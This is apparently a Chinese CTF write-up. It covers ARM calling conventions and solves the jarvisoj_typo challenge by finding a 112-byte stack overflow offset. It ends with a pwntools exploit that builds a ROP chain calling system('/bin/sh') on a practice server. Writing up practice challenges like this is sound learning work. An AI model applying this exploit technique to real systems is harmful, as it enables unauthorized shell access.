arm 下的函数调用约定
函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0 中
b/bl 等指令实现跳转;
pc 寄存器相当于 x86 的 eip,保存下一条指令的地址
例题jarvisoj_typo
ida发现根本没有主函数,和平常x86和x64架构不同,ida很难分析,我们可以通过gdb来分析
异构pwn环境搭建
经分析程序必须先输入回车,才能进入下一步
之后不管深入什么都会报错
因为程序未开启canary,我们可以猜测是栈溢出,且程序是静态链接,可以找到system地址和/bin/sh地址,
通过binsh字符串找到system地址
利用cyclic 200生成200个随机字符找偏移
输入c继续执行
找到偏移为112
exp
from pwn import *
context(endian='little',os='linux',arch='arm',log_level='debug')
sh = remote('node4.buuoj.cn',29502)
#sh = process(["qemu-arm","./typo"])
sl = lambda data :sh.sendline(data)
overlength = 112
binsh = 0x06C384
system = 0x000110B4
pop_r0_r4_pc = 0x00020904
payload = b"a"*overlength + p32(pop_r0_r4_pc) + p32(binsh)*2 + p32(system)
sl('\n')
sleep(0.01)
sl(payload)
sh.interactive()